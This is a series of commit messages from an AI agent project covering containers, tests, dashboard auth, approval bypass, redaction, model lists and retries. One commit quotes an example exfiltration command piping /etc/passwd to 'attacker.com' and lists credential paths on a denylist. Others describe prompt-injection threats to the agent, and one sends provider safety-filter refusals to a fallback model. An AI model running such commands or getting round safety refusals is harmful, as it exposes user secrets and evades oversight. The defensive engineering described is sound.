Issue #20561 (Docker containers accumulate) needs a way to identify hermes-created containers from the outside — both for the orphan reaper (a follow-up commit) and for operators triaging `docker ps -a | grep hermes-` after a SIGKILL leaves stragglers. The previous `hermes-<hex>` name prefix was the only signal, which broke down under cross-process reuse (planned) and against any custom `--name` someone might pass via `docker_extra_args`. This commit adds three labels at `docker run` time: --label hermes-agent=1 # global sweep target --label hermes-task-id=<sanitized> # per-task reuse key --label hermes-profile=<sanitized> # per-profile isolation key Values are sanitized to `[A-Za-z0-9_.-]` and truncated to 63 chars so the label round-trips cleanly through `docker ps --filter label=key=value`. Empty or non-string inputs collapse to "unknown" rather than producing an unqueryable empty value. No behavior change: the labels are pure metadata. The follow-up commits in this PR (cleanup-fix + orphan reaper) are what use them. Refs #20561 |
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300140e006 |
test(tui_gateway): stop reloading server module in fixture teardown (#34217)
tui_gateway.server registers two atexit hooks at module load time:
ThreadPoolExecutor shutdown (line 170) and _shutdown_sessions (line 336).
Three test files reloaded the module on each fixture teardown to reset
per-test state. Each reload re-runs module-level code, including the
atexit registrations — duplicates accumulate across the test session.
At pytest interpreter shutdown the duplicated atexit hooks race the
stderr buffer flush:
Fatal Python error: _enter_buffered_busy: could not acquire lock
for <_io.BufferedWriter name='<stderr>'> at interpreter shutdown,
possibly due to daemon threads
pytest reports 'tests passed but the slice exited non-zero', and the
shard turns red on CI. Surfaced today on PR #34193's test slice 1
(204 files, 3572 tests passed, then Fatal Python error during exit).
Fix: drop importlib.reload(mod) from the three fixtures that have it.
Per-test reset is handled by clearing the mutable session dicts
(_sessions, _pending, _answers). _methods is also no longer cleared —
it's populated at module import time and would only be re-populated by
a reload, so clearing it without reload broke session.resume /
command.dispatch / slash.exec method registration across tests.
Affected fixtures:
- tests/tui_gateway/test_goal_command.py
- tests/tui_gateway/test_protocol.py
- tests/tui_gateway/test_review_summary_callback.py
The second reload in test_protocol.py at line 211 (reload of
tui_gateway.transport) is preserved — transport.py has no atexit hooks
or threads, so reload is safe there.
Tests: 84/84 in tests/tui_gateway/ pass cleanly with exit code 0; no
Fatal Python error at interpreter shutdown.
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769ee86cd2 |
feat(kanban): attach images referenced in task bodies to worker vision (#34210)
Kanban workers now scan the task body for local image paths and http(s) image URLs and attach them to the worker's first user turn — matching the CLI/gateway behaviour for inbound images. Before, a user pasting `/home/me/screenshot.png` or `https://example.com/img.png` into a kanban task description had it sent to the model as plain text and the pixels were never seen. How it works: * agent/image_routing.py gains extract_image_refs(text) → (paths, urls) that mirrors gateway/platforms/base.py:extract_local_files (absolute / ~-relative paths, image extensions only, ignores fenced/inline code). * build_native_content_parts() accepts an optional image_urls= kwarg and emits passthrough image_url parts for remote URLs alongside the base64 data: URLs used for local paths. * cli.py (single-query/quiet branch — the path every dispatcher-spawned worker takes) detects HERMES_KANBAN_TASK, reads the task body via kanban_db.get_task, runs extract_image_refs, and threads the results into the existing image-routing decision (native vs text). Best-effort: enrichment failures never block worker startup. Tested: * tests/agent/test_image_routing.py — 22 new tests for extract_image_refs and URL pass-through in build_native_content_parts. * tests/hermes_cli/test_kanban_worker_image_extraction.py — 10 new tests driving real kanban_db round-trip (create task → read body → extract refs → build parts). * E2E: created a fake kanban task with a body referencing both a local PNG and an https URL; verified the worker pipeline produces a multimodal user turn with 1 text part + 2 image_url parts (data URL for the local file, passthrough URL for the remote). |
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1b1e30510a |
test(docker): repair dashboard tests broken by the insecure-opt-in fix
The Docker integration test job started failing on main after |
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e7c99651fb |
fix(mcp): resolve bare npx/npm/node against /usr/local/bin
When the Hermes Docker image runs an stdio MCP server configured with an
explicit env.PATH that omits /usr/local/bin (a common pattern when users
hand-author PATH for sandboxing), the MCP env-filter passes that narrow
PATH straight through to the subprocess. _resolve_stdio_command's
fallback for bare 'npx' / 'npm' / 'node' commands only checked
$HERMES_HOME/node/bin/ and ~/.local/bin/, so execvp() failed with
'[Errno 2] No such file or directory: npx' on every Node-based stdio
MCP server (Railway, Anthropic, GitHub Copilot, etc.).
The naive workaround — symlink /usr/local/bin/npx into the user's PATH —
fails one layer deeper because npx's shebang re-execs /usr/bin/env node
and node also lives at /usr/local/bin/node.
Fix: add /usr/local/bin/<cmd> as a third candidate in the fallback list.
This is the canonical install location for Node on:
- Linux from-source builds
- the upstream node:bookworm-slim image, which the Hermes Docker
image copies node + npm + corepack from since #4977 (the Node 22 LTS
refactor that exposed this)
- macOS Homebrew on Intel
Because the resolver already calls _prepend_path(resolved_env, command_dir)
after locating the command, /usr/local/bin gets prepended to the env's
PATH automatically, which also fixes the second-layer shebang failure
(npx-cli.js can now find node).
Scope is intentionally narrow: the fix activates only when the bare
command isn't otherwise locatable through the user's PATH. Users who
explicitly narrowed PATH for a non-Node MCP server see no change in
behavior.
Tested:
- tests/tools/test_mcp_tool_issue_948.py: new test
test_resolve_stdio_command_falls_back_to_usr_local_bin (mirrors the
existing hermes-node-bin fallback test)
- Full MCP test suite: 254/254 pass across 7 test files
- E2E against a freshly-built Docker image: reproduced the original
failure mode (env.PATH=/opt/data/bin:/usr/bin:/bin), confirmed the
resolver returns /usr/local/bin/npx and prepends /usr/local/bin to
PATH; subprocess.run of the resolved command prints '10.9.8' and
exits 0 with empty stderr
- Negative E2E on the host (where Node is already on PATH via mise):
resolver still hits the mise install dir, /usr/local/bin candidate
is not consulted, PATH is unchanged
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fb51253620 |
docker: opt in to dashboard --insecure via env var, never derive from bind host
The s6 dashboard run script flipped `--insecure` on whenever
`HERMES_DASHBOARD_HOST` was anything other than 127.0.0.1 / localhost.
That comment ("the dashboard refuses otherwise") predates the OAuth
auth gate: back when it was written, `start_server` would SystemExit
on any non-loopback bind, so the run script's `--insecure` was the
only way to make in-container deployments work at all.
The gate has since been replaced by `should_require_auth(host,
allow_public)`, which engages the OAuth flow when a
`DashboardAuthProvider` is registered (the bundled `dashboard_auth/nous`
provider auto-registers on `HERMES_DASHBOARD_OAUTH_CLIENT_ID`) and
fails closed with a specific operator-facing error when none is. The
host-derived `--insecure` ran upstream of all that and silently
disabled the gate on every container-deployed dashboard.
Most visible under the portal's wildcard-subdomain rollout: every Fly
machine binds 0.0.0.0 so the edge can reach Flycast, every machine
boots with the correct `HERMES_DASHBOARD_OAUTH_CLIENT_ID`, the nous
provider registers — and `/api/status` still returns
`{"auth_required": false, "auth_providers": ["nous"]}` because the
run script disabled the gate before `start_server` ever saw the
request. The dashboard SPA was served to anyone, no `/login` redirect,
no OAuth challenge.
Fix: derive `--insecure` from an explicit opt-in env var,
`HERMES_DASHBOARD_INSECURE` (truthy values matching the rest of the
s6 boolean envs: 1, true, TRUE, True, yes, YES, Yes). Operators on
trusted LANs behind a reverse proxy without the OAuth contract
(the existing `docker-compose.windows.yml` use case) opt in
explicitly; portal-managed agent deployments leave it unset and let
the gate engage.
`docker-compose.windows.yml` already passes `--insecure` on the
`command:` array directly (line 38), so it doesn't depend on the s6
auto-injection. No compose-file change required.
Tests:
* `tests/test_docker_home_override_scripts.py` — extends the existing
static-text guard with a regression assertion that the legacy
host-derived case-statement is gone and the new env-var opt-in is
present (locks against accidental revert).
* `tests/docker/test_dashboard.py` — adds two Docker-in-Docker tests
exercising the actual `/api/status` round-trip:
- 0.0.0.0 bind + `HERMES_DASHBOARD_OAUTH_CLIENT_ID` → gate engaged
- 0.0.0.0 bind + `HERMES_DASHBOARD_INSECURE=1` → gate disabled
Docs:
* `website/docs/user-guide/docker.md` + zh-Hans i18n — adds the new
env var to the table, replaces the stale prose ("the entrypoint
no longer auto-enables insecure mode" — which until this PR was
flat-out wrong) with an accurate description of the gate's
trigger conditions and the explicit opt-out.
shellcheck clean. Python static-text test passes locally. Behavioural
test will run against any future image build (CI's Docker harness).
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5a95fb2e14 |
feat: expose completed-turn message context to memory providers
Adds an optional `messages` keyword to the `MemoryProvider.sync_turn` contract so external/community memory plugins can receive the OpenAI-style conversation message list for the completed turn — including assistant tool calls and tool result content — not just the final assistant text. Dispatch uses signature inspection (`_provider_sync_accepts_messages`): only providers that declare a `messages` parameter (or `**kwargs`) receive it; all existing in-tree providers keep their legacy text-only signature and are called unchanged. No structured-trace envelope is added to core — providers reconstruct whatever they need from the standard message list. Also documents Memori as a standalone community memory provider. Salvaged from #28065 — rebased onto current main. Co-authored-by: Dave Heritage <david@memorilabs.ai> |
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490b3e76b1 |
feat(hindsight): default recall_types to observation only
Auto-recall used to surface every fact type Hindsight had on the
session — `world`, `experience`, and `observation`. That triple-ships
the same underlying signal in three different framings: observations
are the concrete events the user said/did/asked, while world and
experience facts are aggregate summaries Hindsight derives from those
exact observations. Including all three burns most of
`recall_max_tokens` on rephrasings, crowds out events the model
actually needs to see, and produces effective duplicates in the
prompt — observations themselves are deduplicated by construction
so observation-only recall is denser per token and closer to
conversational ground truth.
Change
------
- Default `_recall_types = ["observation"]` (was `None`, which
delegated to server-side "return everything").
- `initialize()` now treats a missing `recall_types` config the same
way; also accepts comma-separated strings for parity with `recall_tags`.
- An explicit `recall_types=[]` config falls back to the default rather
than disabling the filter (would silently widen recall vs. the new
default).
- Added to `get_config_schema()` so it's discoverable via `hermes config`.
Per-call `hindsight_recall` tool invocations are unaffected — they
already only forward `types` when the caller passes the argument.
Docs / migration
----------------
plugins/memory/hindsight/README.md grows a "Behavior change" callout
explaining the why (no-duplicates, information-efficient) and how to
restore the legacy broad recall:
"recall_types": "observation,world,experience" # or a JSON list
in `~/.hermes/hindsight/config.json`.
Tests
-----
- `test_default_values` updated for the new default.
- New cases: explicit list override, CSV string accepted, empty list
falls back to default (not "wider than default").
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321ce94e25 |
test: update non-minimax overflow test to match new keep-context behavior
The old test asserted that a non-MiniMax provider returning a generic overflow (no provider-reported max) would step down to the 128K probe tier. The salvaged fix from #33673 deliberately removes that step-down because guessed tiers cause configured 1M sessions to silently shrink. Update the test to assert the new contract: keep the configured 200K window and rely on compression instead. |
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7a3c38d0b7 | fix: stop probe stepdown without provider context limit | ||
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5cbc3fbdcc |
fix(cli): /yolo in chat must enable session bypass, not just set env var
The CLI's in-chat `/yolo` toggle mutated `os.environ["HERMES_YOLO_MODE"]`
but had no effect because `tools/approval.py:_YOLO_MODE_FROZEN` captures
that env var once at module-import time (a deliberate security floor that
keeps prompt-injected skills from flipping the bypass mid-run). By the
time the user reaches `/yolo` in a running CLI session, `tools.approval`
has already been imported, so the env flip after that is a silent no-op.
Result: `/yolo` advertised "⚠ YOLO" in the status bar while every
dangerous command still hit the approval prompt or got denied. Only
`hermes --yolo` (set before tool imports), `HERMES_YOLO_MODE=1 hermes ...`,
and `hermes config set approvals.mode off` actually bypassed.
This patches the CLI to match what the gateway and TUI `/yolo` handlers
already do, plus mirrors the TUI's session-rename YOLO transfer:
* `_toggle_yolo()` now calls `enable_session_yolo(self.session_id)` /
`disable_session_yolo(self.session_id)` instead of touching the env
var. Matches `gateway/run.py:_handle_yolo_command` and the
`tui_gateway/server.py` key=="yolo" branch.
* Around each `run_conversation()` call, `run_agent()` now binds
`set_current_session_key(self.session_id)` so
`tools.approval.is_current_session_yolo_enabled()` resolves against
the same key the toggle writes under, and resets it in `finally` so
reused threads don't see stale identity. Matches the
`tui_gateway/server.py` and `gateway/platforms/api_server.py` binding
pattern.
* New `_transfer_session_yolo()` helper carries YOLO bypass state
across `self.session_id` reassignments — `/branch` forking into a
new session id and the auto-compression sync that rotates into a
fresh continuation session id. Without this, the same UX failure
mode the rest of this fix addresses (silent `/yolo` no-op) would
reappear after a single `/branch` or auto-compression event.
Mirrors `tui_gateway/server.py` ~line 1297-1305.
* New `_is_session_yolo_active()` helper replaces the two
`bool(os.getenv("HERMES_YOLO_MODE"))` reads in the status-bar
builders, so the badge reflects the actual bypass state. Uses
`getattr(self, "session_id", None)` so status-bar test fixtures
that bypass `__init__` via `HermesCLI.__new__(HermesCLI)` don't
trip `AttributeError` (the builders swallow exceptions silently
and lose every field after the failure). Still honors
`_YOLO_MODE_FROZEN` so `hermes --yolo` keeps lighting it up.
The `_YOLO_MODE_FROZEN` security freeze is preserved — env-var-based
opt-in still only works when set before process start, which is the
documented contract for `--yolo` / `HERMES_YOLO_MODE`.
Closes #33925
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f30db14ced |
fix(kanban): SIGTERM on worker must terminate the process (#28181)
The single-query signal handler in cli.py raises KeyboardInterrupt on SIGTERM/SIGHUP. For interactive 'hermes chat -q' that unwinds the main thread cleanly. For kanban workers spawned by the dispatcher, the worker process is likely to have a non-daemon thread alive (terminal _wait_for_process, custom plugins, etc.). With KeyboardInterrupt only the main thread unwinds; the non-daemon thread keeps the process alive, the gateway has already restarted, and the dispatcher's _pid_alive check returns True forever — task stuck in 'running' indefinitely. When HERMES_KANBAN_TASK is set (dispatcher-spawned worker), flush logging + stdout/stderr, then os._exit(0) instead of raising KeyboardInterrupt. The kernel reclaims the PID immediately, and the existing zombie-state detection in _pid_alive flips the task to crashed on the next dispatcher tick. detect_crashed_workers then re-spawns it on the following tick — no manual recovery needed. A SIGALRM(2s) deadman is armed before the flush so a pathological blocking-I/O flush can't wedge the worker forever. In practice the reporter measured flush in <1ms; the alarm is a failsafe, never the common path. Interactive (non-kanban) chat -q is unchanged — the env-gated branch only fires for dispatcher-spawned workers. Live verification on this machine: - Without HERMES_KANBAN_TASK + non-daemon thread alive: process hangs alive 4+ seconds after SIGTERM. Dispatcher's _pid_alive returns True → task stuck. - With HERMES_KANBAN_TASK + same non-daemon thread: process exits in 0.10s via os._exit(0). Dispatcher reclaims on next tick. Tests: - tests/hermes_cli/test_signal_handler_kanban_worker.py (3 cases): end-to-end subprocess test with a non-daemon thread, HERMES_KANBAN_TASK env, SIGTERM, dispatcher-style _pid_alive check. Plus a source-level invariant test catching future refactors that drop the env-gated exit. - 452/452 kanban tests pass. Co-authored-by: andrewhosf <andrewho.sf@gmail.com> |
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3a9bc9d88a |
fix(model picker): unify /model and hermes model lists, add disk cache (#33867)
* fix(model picker): unify /model and `hermes model` model lists, add disk cache
The /model slash picker and `hermes model` were drifting apart. /model
read the raw static `OPENROUTER_MODELS` list (31 entries, including 5
that fail at runtime — no tool-call support or absent from live catalog),
while `hermes model` ran the same list through the live OpenRouter
/v1/models tool-support filter and showed 26 valid entries. Same problem
existed for every other authed provider: /model used curated static
lists, `hermes model` used live /v1/models.
Unifies both surfaces on `provider_model_ids()` and adds a generic
disk-cached wrapper so the picker stays snappy.
Changes
- hermes_cli/models.py: new `cached_provider_model_ids()` —
~/.hermes/provider_models_cache.json, 1h TTL, per-provider entries
keyed by credential fingerprint (env vars + OAuth file mtimes).
Stale-data-beats-no-data on transient failures. Pair with
`clear_provider_models_cache(provider=None)`.
- hermes_cli/models.py: `provider_model_ids("nous")` now falls back
to the docs-hosted manifest (not the in-repo snapshot) when the live
Portal /models call fails — preserves the model_catalog regression
guarantee while still going through the unified pathway.
- hermes_cli/model_switch.py: `list_authenticated_providers` routes
sections 1, 2, and 2b through `cached_provider_model_ids(slug)` with
curated fallback when the live fetcher comes up empty.
- hermes_cli/model_switch.py: `parse_model_flags` extended to a
4-tuple, parses `--refresh`.
- cli.py / gateway/run.py / tui_gateway/server.py: updated unpacking;
CLI + gateway wire `--refresh` to `clear_provider_models_cache()`.
- hermes_cli/main.py: `hermes model --refresh` argparse flag.
- hermes_cli/commands.py: `/model` args_hint advertises `--refresh`.
- tests/hermes_cli/test_inventory.py: refresh stale comment.
Live PTY parity verification
- /model → OpenRouter row: `(26 models)` (was 31, with broken entries)
- `hermes model` → OpenRouter: 26 models (unchanged)
- The 5 dropped entries: `pareto-code` (no tool-call support),
`gemini-3-pro-image-preview` (no tool-call support),
`elephant-alpha`, `hy3-preview:free`, `ring-2.6-1t:free` (gone
from OpenRouter's live catalog).
Live PTY timing
- First /model open, empty cache: 4624 ms (full network round trip
across every authed provider)
- Second /model open, warm cache: 51 ms (90× faster)
- `/model --refresh` clears the disk cache and re-fetches.
Cache schema (~/.hermes/provider_models_cache.json, ~3 KB):
{ "anthropic": {"fp": "<sha256:16>", "at": 1748..., "models": [...]},
... }
Targeted tests: tests/hermes_cli/ + gateway model tests + tui_gateway —
5855/5855 pass.
* fix(model picker): use blake2b for cache fingerprint to silence CodeQL
py/weak-sensitive-data-hashing flagged the sha256 call in
_credential_fingerprint() as a high-severity alert because the input
includes env var values whose names contain *_API_KEY / *_TOKEN.
The hash is used solely as a cache-bust identity — never reversed, never
stored, collisions are harmless (worst case: cache miss → live re-fetch).
blake2b serves the same purpose and isn't flagged by this rule.
Functional behavior identical: 16-hex-char digest, cache hit/miss logic
unchanged. Live re-verified — 26 OpenRouter models, warm-cache 78ms.
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5f66c36470 |
fix(redact): pass web URLs through unchanged (#34029)
* fix(redact): pass web URLs through unchanged Magic-link checkout URLs, OAuth callbacks the agent is meant to follow, and pre-signed share URLs were getting `?token=***` / `?code=***` / `?signature=***` blanket-redacted by parameter NAME, which breaks any skill that has to round-trip a URL through history (the model's tool call arguments get sanitized before persistence — the live call fires with the real URL, but the next turn sees `***`). Joe Rinaldi Johnson hit this with a checkout-acceleration skill that uses magic links in URLs. Drops three call sites from `redact_sensitive_text`: - `_redact_url_query_params` (was redacting `access_token`, `token`, `api_key`, `code`, `signature`, `key`, `auth`, etc.) - `_redact_url_userinfo` (was redacting `https://user:pass@host`) - `_redact_http_request_target_query_params` (was redacting access-log request targets like `"POST /hook?password=... HTTP/1.1"`) The helpers themselves are kept in the module — still importable by anything that wants to opt in explicitly. Still redacted (unchanged): - Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.) anywhere they appear, including inside URLs — see the `test_known_prefix_inside_url_still_redacted` case. - JWTs (`eyJ...`) - DB connection-string passwords (`postgres://admin:pw@host`) — these are connection strings, not web URLs the agent navigates to. - Authorization headers, ENV assignments, JSON `apiKey`/`token` fields, Telegram bot tokens, private key blocks, Discord mentions, E.164 phone numbers, and form-urlencoded bodies (request bodies, not URLs). Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction` with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth callback, magic link, S3 pre-signed, websocket, userinfo, access log) pass through unchanged. Adds positive cases proving the prefix and DB connstr nets still fire. 74 redact tests + 10 browser-exfil + 16 PII redaction tests all pass. * test(codex_app_server): drop URL-query assertion from stderr-tail redaction test The test bundled (a) sk-live-* credential-prefix redaction with (b) URL query-param redaction. (a) is still in effect via _PREFIX_RE; (b) was the contract we just removed in the parent commit so the 'querysecret12345' assertion stopped holding. Keep the credential-shape assertion, drop the URL-query one. Send-message tool's local _URL_SECRET_QUERY_RE in tools/send_message_tool.py is independent of agent/redact.py and unchanged — its tests (test_top_level_send_failure_redacts_query_token, test_http_error_redacts_access_token_in_exception_text) still pass. |
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7a8589e782 |
fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022)
PR #29523 restricted MEDIA: paths and bare local paths in agent output to files under the Hermes media cache or an operator-allowlisted root, with a 10-minute recency window as a fallback. The intent was to defend against prompt-injection-driven exfiltration of host secrets, but in the default single-user setup the asymmetry doesn't earn its keep: we accept any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...) and the agent already has terminal access — anything that can convince it to emit a MEDIA: tag for /etc/passwd can equally convince it to `cat /etc/passwd | curl attacker.com`. Practical breakage: agents that produced an .md, .pdf, or other artifact more than ~10 minutes ago, or outside the cache allowlist, showed the user a raw filepath in chat instead of the file. Default flipped to denylist-only: • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run} • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud} • macOS Library/Keychains • $HERMES_HOME/{.env, auth.json, credentials} The legacy allowlist+recency-window behavior stays available via opt-in: `gateway.strict: true` in config.yaml (or `HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots where prompt injection from one user shouldn't be able to exfiltrate the host's secrets to that same user. • `gateway/platforms/base.py` — `validate_media_delivery_path()` short-circuits to "return resolved if not under denylist" when strict is off. Strict mode preserves the original cache-then- allowlist-then-recency logic. New `_media_delivery_strict_mode()` reader for `HERMES_MEDIA_DELIVERY_STRICT`. • `hermes_cli/config.py` — `gateway.strict: false` added to DEFAULT_CONFIG; existing keys documented as "only consulted in strict mode." No `_config_version` bump needed (deep-merge picks up the new default for old installs). • `gateway/run.py` — bridges `gateway.strict` → `HERMES_MEDIA_DELIVERY_STRICT` at startup. • `tools/send_message_tool.py` — schema description broadened back to plain "any local path." • Tests — existing strict-path tests pinned to STRICT=1 so they keep exercising the legacy behavior; new `TestMediaDeliveryDefaultMode` with 8 cases covering the public default (stale .md accepted, any extension delivers, credential paths still blocked, strict env-var aliases, filter E2E). Validation: - tests/gateway/test_platform_base.py: 119/119 pass - tests/gateway/test_tts_media_routing.py: 7/7 pass - tests/tools/test_send_message_tool.py: 121/121 pass - tests/hermes_cli/test_kanban_notify.py: 12/12 pass - tests/cron/test_scheduler.py: 120/120 pass - E2E via execute_code with real imports: • stale .md outside allowlist → accepted (default) • same path with STRICT=1 → rejected • $HOME/.ssh/id_rsa → rejected (default) • filter_local_delivery_paths([md, key]) → [md] only • gateway.strict in config.yaml → bridged to env (true=1, false=0) |
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7050c052e3 |
fix(skills): pull full skills.sh catalog via sitemap (858 → 19,932) (#34025)
The skills.sh source was returning ~858 unique skills from a hardcoded
list of 28 popular keyword searches (each capped at 50 results). The
real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from
the site's sitemap index.
Switch the empty-query path in SkillsShSource.search() to walk the
sitemap instead of scraping the homepage's curated featured strip.
Falls back to the homepage scrape if the sitemap is unreachable.
build_skills_index.crawl_skills_sh() now just calls search("", limit=0)
instead of running 28 keyword searches — same result in one HTTP round
instead of 28.
Also handle a httpx + brotlicffi interaction: the per-skill sitemaps
are ~900 KB brotli-compressed and the cffi backend's streaming decode
chokes on them. Forcing Accept-Encoding to gzip dodges the bug without
requiring a brotli library upgrade.
E2E against live skills.sh: 19,932 unique skills walked in 0.7s.
Tests: 137 pass (+1 new regression test exercising the sitemap path).
Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future
regression hard-fails the build.
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1a74795735 |
feat: add claude-opus-4.8 and claude-opus-4.8-fast (#34003)
Anthropic released Claude Opus 4.8 on 2026-05-27, available on OpenRouter, Anthropic, Amazon Bedrock, and Claude Platform on AWS: - https://openrouter.ai/anthropic/claude-opus-4.8 - https://openrouter.ai/anthropic/claude-opus-4.8-fast The fast-mode variant is a separate model ID (anthropic/claude-opus-4.8-fast) priced at 2x of the base model — a notable improvement over the 6x premium on older Opus generations (4.6/4.7). It is NOT a `speed: "fast"` request parameter like Opus 4.6; Anthropic's native fast-mode beta still only covers Opus 4.6. Changes: hermes_cli/models.py - Add anthropic/claude-opus-4.8 + anthropic/claude-opus-4.8-fast to the OpenRouter fallback snapshot and the Nous Portal curated list (live catalogs surface them automatically when reachable; the fallback list matters when the manifest fetch fails). - Add claude-opus-4-8 to the Anthropic-native picker list. agent/model_metadata.py - Register claude-opus-4-8 / claude-opus-4.8 in DEFAULT_CONTEXT_LENGTHS with 1M tokens (matches 4.6/4.7). agent/anthropic_adapter.py - Extend _XHIGH_EFFORT_SUBSTRINGS, _ADAPTIVE_THINKING_SUBSTRINGS, and _NO_SAMPLING_PARAMS_SUBSTRINGS with "4-8"/"4.8". 4.8 inherits the Opus 4.7 API contract: adaptive thinking only, xhigh effort level supported, sampling parameters (temperature/top_p/top_k) return 400. - Add claude-opus-4-8 to _ANTHROPIC_OUTPUT_LIMITS (128k max output, same as 4.7). Matches by substring so claude-opus-4-8-fast and date-stamped variants resolve correctly. agent/usage_pricing.py - Add anthropic/claude-opus-4-8: $5/$25 per MTok input/output, $0.50 cache read, $6.25 cache write (same as 4.6/4.7). - Add anthropic/claude-opus-4-8-fast: $10/$50 per MTok (2x), $1.00 cache read, $12.50 cache write. Per OpenRouter, the 2x premium is the only differentiator from regular Opus 4.8. - OpenRouter routes still pull pricing from the live /models API, so no static OpenRouter entry is needed. tests/agent/test_model_metadata.py - Extend the Claude 4.6+ context-length tag list with 4.8/4-8. website/static/api/model-catalog.json - Regenerated via `python scripts/build_model_catalog.py` to pick up the new entries in the OpenRouter and Nous Portal fallback lists. E2E verification (isolated sys.path import against the worktree): - _supports_adaptive_thinking, _supports_xhigh_effort, _forbids_sampling_params all return True for claude-opus-4.8 and claude-opus-4.8-fast. - _supports_fast_mode (the `speed: "fast"` request-parameter gate) stays False for 4.8 — fast mode is a separate model ID on OpenRouter, not a parameter Anthropic accepts on the base model. - DEFAULT_CONTEXT_LENGTHS resolves 1M for both notations. - resolve_billing_route + _lookup_official_docs_pricing resolve the correct $5/$25 (regular) and $10/$50 (fast) pricing for both dot-notation and dash-notation inputs. - 4.7 and 4.6 regression: behavior unchanged. Unit tests: 305 passed across tests/agent/test_usage_pricing.py, test_model_metadata.py, tests/hermes_cli/test_model_catalog.py, test_models.py, test_model_validation.py, test_models_dev_preferred_merge.py. |
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e8b9369a9d |
feat(openrouter): pass session_id in extra_body for sticky routing
OpenRouter supports a session_id field in extra_body that pins multi-turn conversations to the same provider endpoint, enabling prompt cache reuse across turns. The session_id was already threaded through to build_extra_body() but never included in the returned dict. Co-Authored-By: Claude Opus 4 (1M context) <noreply@anthropic.com> |
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0554ef1aa3 |
fix(agent): fallback immediately on provider content-policy blocks (#33883)
* fix(agent): fallback immediately on provider content-policy blocks
Provider safety-filter refusals (e.g. OpenAI Codex 'flagged for possible
cybersecurity risk', OpenAI moderation 'violates our usage policies',
Anthropic safety-system rejections, Azure content_filter) are
deterministic decisions about a specific prompt. Retrying the same
prompt up to api_max_retries times just reproduces the same refusal and
burns paid attempts before surfacing the generic 'API failed after 3
retries — <provider message>' to Telegram / cron with no indication that
the failure came from the model provider rather than Hermes itself.
Classify these as a new FailoverReason.content_policy_blocked
(non-retryable, should_fallback=True) and route them through the
existing is_client_error path so the loop:
- skips the 3x retry backoff
- activates a configured fallback model immediately
- emits a clear provider-safety message to the user (not the generic
'Non-retryable error (HTTP None)') and surfaces actionable guidance
when no fallback is configured (rephrase, narrow context, or set
fallback_model in hermes config)
- returns a final_response that explicitly tells the user this came
from the model provider, so gateway delivery is unambiguous and
cron last_status reflects the safety block rather than a vague
'agent reported failure'
Patterns are intentionally narrow — verbatim refusal phrasings keyed to
specific provider safety pipelines, not generic words like 'policy' or
'violation' that would collide with billing / format / auth errors.
Regression guards in test_18028_content_policy_blocked.py verify
billing 402s, generic 400s, and OpenRouter account-level
provider_policy_blocked remain distinct classifications.
Salvaged from #18164 onto current main (file restructure: loop logic
moved from run_agent.py to agent/conversation_loop.py, _emit_status →
_buffer_status), broadened patterns beyond the original OpenAI Codex
cybersecurity case to cover OpenAI moderation, Anthropic safety system,
and Azure content_filter; added user-actionable guidance and a clear
final_response so cron/gateway surfaces the policy block instead of a
generic non-retryable error, and added a regression-guard test module
mirroring the is_client_error predicate.
Addresses #18028.
Co-authored-by: Kuan-Chieh Huang <kchuang1015@users.noreply.github.com>
* chore: add kchuang1015 to AUTHOR_MAP
---------
Co-authored-by: Kuan-Chieh Huang <kchuang1015@users.noreply.github.com>
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a82c88bac0 |
fix(xai-oauth): accept bare-code manual paste (state=None) (#26923) (#33880)
xAI's consent page renders the authorization code in-page rather than redirecting through the 127.0.0.1 callback, so on remote/headless setups (GCP Cloud Shell, Codespaces, container consoles, headless VPS) the only value the user can paste is the opaque code with no `code=`/`state=` query parameters. `_parse_pasted_callback` correctly returns `state=None` for that input, but `_xai_oauth_loopback_login` then validated state unconditionally and raised `xai_state_mismatch`, making the documented bare-code paste path unreachable. PKCE (code_verifier) still binds the token exchange to this client, so the local state-equality check is redundant when there is no state to compare. On the manual-paste path only, substitute the locally generated state when the callback returned none — the rest of the validation chain (code presence, error field, token exchange) is unchanged. The loopback HTTP-server path still requires a matching state (a real browser redirect always carries one). Also: clarify the manual-paste prompt to mention xAI's in-page code rendering so users know pasting the bare code on its own is expected. Root-cause analysis from #26923 comment by @AccursedGalaxy (2026-05-20). Tests ----- * test_xai_loopback_login_manual_paste_bare_code_succeeds — positive end-to-end through the token exchange with state=None. * test_xai_loopback_login_loopback_path_rejects_missing_state — the HTTP-server path still rejects state=None as a regression guard (the bare-code relaxation must NOT widen the loopback path). * Existing test_xai_loopback_login_manual_paste_state_mismatch_raises continues to verify wrong (non-None) state is rejected on manual-paste. Closes #26923. |
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67011cc0d7 |
feat(agent): buffer retry/fallback status, surface only on terminal failure (#33816)
Users report that the CLI/gateway floods them with confusing retry chatter
during transient failures: a single 429 can produce 10+ "Provider/Endpoint/
Retrying in 5s..." lines before the request eventually succeeds. The same
firehose hits Telegram, Discord, Slack, etc. via _emit_status.
This patch defers all retry/fallback/compression status messages until we
know the outcome:
- if the turn ultimately succeeds (any path: primary recovers, fallback
activates, compression unsticks the request), the buffer is silently
dropped — the user sees nothing.
- if every retry and fallback exhausts and the turn fails, the buffer
is flushed at the terminal-failure return so the user sees the full
retry trace alongside the final error.
Backend logging (agent.log) is unchanged — every emission site still
writes to logger.warning/info, so post-mortem diagnosis is intact.
## What changed
run_agent.py: four new methods on AIAgent:
_buffer_status(msg) — defer an _emit_status call
_buffer_vprint(msg) — defer a _vprint(force=True) line
_clear_status_buffer() — drop pending messages on success
_flush_status_buffer() — replay pending messages on terminal failure
agent/conversation_loop.py:
- converted ~30 mid-process emit/vprint sites in the retry, fallback,
compression, empty-response, and stream-watchdog paths to the buffered
helpers
- added _flush_status_buffer() at every terminal-failure return so users
still see the trace when it actually matters
- added _clear_status_buffer() at the "non-empty assistant content"
point (NOT at "API call returned bytes" — empty responses still loop
through the empty-retry path and would otherwise lose their trace
between iterations)
- silenced the two "(´;ω;`) oops, retrying..." / "(╥_╥) error,
retrying..." spinner final-frame messages — the spinner now stops
cleanly so retries leave no visible residue
agent/chat_completion_helpers.py: same conversion for codex TTFB / stale-
